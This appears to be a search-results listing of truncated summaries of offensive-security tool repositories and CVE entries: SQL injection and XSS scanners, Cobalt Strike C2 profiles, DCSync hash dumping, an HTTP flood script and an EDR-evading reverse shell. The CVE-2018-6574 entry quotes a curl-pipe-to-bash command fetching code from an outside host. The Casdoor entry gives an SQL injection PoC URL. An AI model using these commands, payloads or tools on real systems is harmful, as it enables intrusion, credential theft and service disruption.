SCANNER-INURLBR

新仓库 在搜索引擎中进行高级搜索，提供分析以利用 GET/POST 捕获电子邮件和 URL，并为每个找到的目标/URL 提供内部自定义验证结合点。 https://github.com/MrCl0wnLab/SCANNER-INURLBR...

extended-xss-search

Extended XSS Searcher and Finder 这是基于已发布的原始思路 "xssfinder" 的扩展版本。此私有版本允许攻击者不仅执行 GET 请求，还能执行 POST 请求。此外，还可以通过 Burp 或其他隧道代理每个请求。 第一步 将 example.app-settings.conf 重命名为 app-settings.conf 并调整设置。开箱即用通常没问题，但根据目标，我建议调整块大小。 执行 此工具不通过 CLI 接受任何参数，因此只需输入： python3 extended-xss-search.py 配置 可以设置大量选项和设置，以下是一些说明。 ...

MalleableC2Profiles

MalleableC2Profiles 用于 Cobalt Strike 3.6+ 的可塑 C2 配置文件 bingsearchgetonly.profile - Bing 网络搜索配置文件，仅使用 GET 请求 cnnvideogetonly.profile - MSNBC 视频直播配置文件，仅使用 GET 请求 googledrivegetonly.profile - Google Drive 文档查看器配置文件，仅使用 GET 请求 microsoftupdategetonly.profile - Microsoft Update 应用程序配置文件，仅使用 GET 请求...

sqlmc

SQLMC - SQL注入批量检测器 演示 信息 此工具仅用于教育目的，未经事先双方同意使用SQLMC攻击目标是违法的。开发者不承担任何责任，也不对因使用本程序造成的任何滥用或损害负责。 概述 SQLMC（SQL注入批量检测器）是一款设计用于扫描域名是否存在SQL注入漏洞的工具。它会爬取指定URL至设定深度，检查每个链接是否存在SQL注入漏洞，并报告发现结果。 功能 扫描域名以发现SQL注入漏洞 爬取指定URL至指定深度 检查所有GET参数中的每个链接是否存在SQL注入漏洞 报告漏洞及服务器信息和深度 安装 1. 安装所需依赖： pip3 install sqlmc 使用...

sqlifinder

用Python编写的SQL注入扫描器。 功能特性 • 安装 • 使用方法 • sqlifinder 是一个用于检测基于GET的SQL注入漏洞的工具，利用waybackurls、网络爬虫和SQL注入payload进行检测。 功能特性 快速且强大的扫描器 包含网络爬虫和waybackurls 使用方法 python3 sqlifinder.py -h 这将显示工具的帮助信息。以下是其支持的所有选项。 安装 Sqlifinder 要求： python3 huepy requests tqdm 运行以下命令进行安装： ▶ sudo apt install git ▶ git clone...

CVE-2026-18574

cve-id Donar Ayuda a mantener este proyecto Si encuentras útil este proyecto, considera apoyar su mantenimiento continuo a través de PayPal o ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ El diez por ciento de cada donación se destina al Hospital Infantil...

CVE-2026-93880

The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in all versions up to and including 13.2.0 . The root cause is insufficient input sanitization and output escaping involving the '{{GET:}}' Dynamic Placeholder . Specifica...

EUVD-2026-91240

The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'GET:' Dynamic Placeholder in all versions up to, and including, 13.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticate...

CVE-2026-93880 Greenshift <= 13.2.0 - Reflected Cross-Site Scripting via '{{GET:}}' Dynamic Placeholder

The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'GET:' Dynamic Placeholder in all versions up to, and including, 13.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticate...

ParamPamPam

ParamPamPam 这个工具用于暴力发现GET和POST参数。 安装 使用Docker 安装 Docker git clone https://github.com/Bo0oM/ParamPamPam.git cd ParamPamPam docker build -t parampp . echo -e '!'"/bin/bash\ndocker run -ti --rm parampp $@" /usr/local/bin/parampp parampp -u "https://vk.com/login" 如果你比较懒 安装 Python3 git clone...

Invoke-DCSync

Invoke-DCSync Invoke-DCSync 参考：https://adsecurity.org/?p=1729 参考：https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ 目标：使用 mimikatz DCSync 功能从域控制器检索所有用户账户的密码哈希 警告：仅在实验环境中执行此操作。 mimikatz 实现了一个名为 DCSync 的工具，这使 mimikatz 能够模拟域控制器，并尝试从另一个域控制器检索所有密码哈希。 你可能需要禁用 Windows Defender...

PyFlooder

PyFlooder 一个 HTTP 洪水攻击 Python 脚本，可在 10 秒内让普通网站瘫痪 它是如何工作的？ 它会生成可配置数量的随机 GET 请求并将其发送到目标 用法 pyflooder.py...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前，以及 Go 1.10 预发布版本在 Go 1.10rc2 之前，允许在源代码构建期间通过 go get 远程执行命令，利用 gcc 或 clang 插件功能，因为 -fplugin= 和 -plugin= 参数未被阻止。（来自 mitre） RCE 命令 该命令被编译进动态库 calcdarwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器，并将主机绑定到你的 IP。...

CVE-2024-57241

CVE-2024-57241CNNVD-2024-34500830 For web applications using DEDECMS 5.71SP1 and earlier, URL redirects occur because the source code logic error of the CMS does not judge the input GET request 使用dedecms 5.71sp1及以下版本的web应用，因为cms的源码逻辑错误未对输入的GET请求进行判断从而发生url重定向 How to use POC poc使用方法 Just change th...

PowerGram

PowerGram PowerGram 是一个纯 PowerShell 编写的 Telegram 机器人，可在 Windows、Linux 或 Mac OS 上运行。使用它只需要 PowerShell 4 或更高版本以及互联网连接。 机器人与 Telegram 服务器之间的所有通信均通过 HTTPS 加密，但所有请求将以 GET 方法发送，因此它们可能容易被截获。 要求 PowerShell 4.0 或更高版本 下载 建议克隆完整仓库或下载 zip 文件。 你可以通过运行以下命令来完成： git clone https://github.com/JoelGMSec/PowerGram 用...

CVE-2023-23752

CVE-2023-23752 用于Joomla CVE-2023-23752扫描的简单程序。这是一个简单的Ruby脚本，用于检查目标列表是否易受CVE-2023-23752攻击，该漏洞是一个严重的Web应用程序安全漏洞。脚本向指定端点发送HTTP GET请求，并从响应中提取信息以判断目标是否存在漏洞。 用法 ruby scanner.rb list.txt output.txt list.txt文件包含一系列目标域名或IP，每行一个。output.txt是保存结果的输出文件。 需求 该脚本需要以下Ruby gem： httparty colorize timeout 免责声明...

Pummel

██████╗ ██╗ ██╗███╗ ███╗███╗ ███╗███████╗██╗ ██╔══██╗██║ ██║████╗ ████║████╗ ████║██╔════╝██║ ██████╔╝██║ ██║██╔████╔██║██╔████╔██║█████╗ ██║ ██╔═══╝ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║ ██║ ╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝ 免责声明：...

KaliPackergeManager

KaliPackergeManager kalipm.sh 是一款针对 Kali Linux 的强大软件包管理工具，它提供用户友好的菜单界面，简化了各类软件包和工具的安装过程。它优化了软件管理流程，使用户能够轻松安装不同类别的软件包。 功能特点 交互式菜单：享受直观且用户友好的菜单界面，轻松选择软件包。 分类软件包：在多个类别中浏览软件包，包括系统、桌面、工具、菜单和其他。 高效安装：借助 apt-get 包管理器自动安装所选软件包。 系统更新：通过集成的更新功能保持系统最新。 安装 要安装 KaliPm，只需从 GitHub 克隆仓库： git clone...

Http-Asynchronous-Reverse-Shell

HTTP/S 异步反向Shell ✨ 介绍 在当今企业网络中，IDS、IPS、EDR、AV和防火墙等高级检测系统占主导地位，在安全评估期间规避它们是一项挑战。大多数反向Shell利用TCP隧道（L4），这些隧道现在经常被分析并标记。 本项目提出了一种创新解决方案 ：一种完全基于HTTP/S的异步反向Shell，通过模仿合法用户行为，融入正常的网络流量。 与传统的反向Shell不同，它仅使用GET请求 ，看起来像正常的网络查询 ，并且可以选择通过HTTPS和伪造的合法证书 运行，从而最大程度地降低被检测的可能性。 工作原理？ 1. 客户端应用在目标机器上执行。 2. 客户端向服务器发起连接...

CVE-2022-24124

前言 Casdoor是一个基于OAuth 2.0/OIDC的中心化的单点登录（SSO）身份验证平台 编号 CVE编号:CVE-2022-24124 CNPD编号:CNPD-202201-7304 影响版本 危险等级：高 7.5 HIGH POC/EXP：已公开 Casdoor POC: /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml1,version,3 一键验证脚本 声明: 工具仅供安全研究或授权渗透，非法用途后果自负，作者并不承担任何责任以及连带责任...